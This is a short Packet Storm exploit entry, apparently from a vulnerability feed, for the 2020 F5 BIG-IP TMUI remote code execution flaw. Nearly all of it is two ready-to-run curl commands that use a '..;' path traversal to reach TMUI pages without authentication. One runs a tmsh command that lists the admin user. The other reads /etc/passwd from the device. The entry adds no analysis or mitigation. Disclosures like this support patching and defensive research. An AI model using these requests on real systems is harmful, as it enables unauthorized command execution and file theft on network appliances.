Lucene search

K
packetstormBudi KhoirudinPACKETSTORM:158333
HistoryJul 07, 2020 - 12:00 a.m.

BIG-IP TMUI Remote Code Execution

2020-07-0700:00:00
Budi Khoirudin
packetstormsecurity.com
204
`## RCE:   
  
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'  
  
## Read File:   
  
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'  
  
`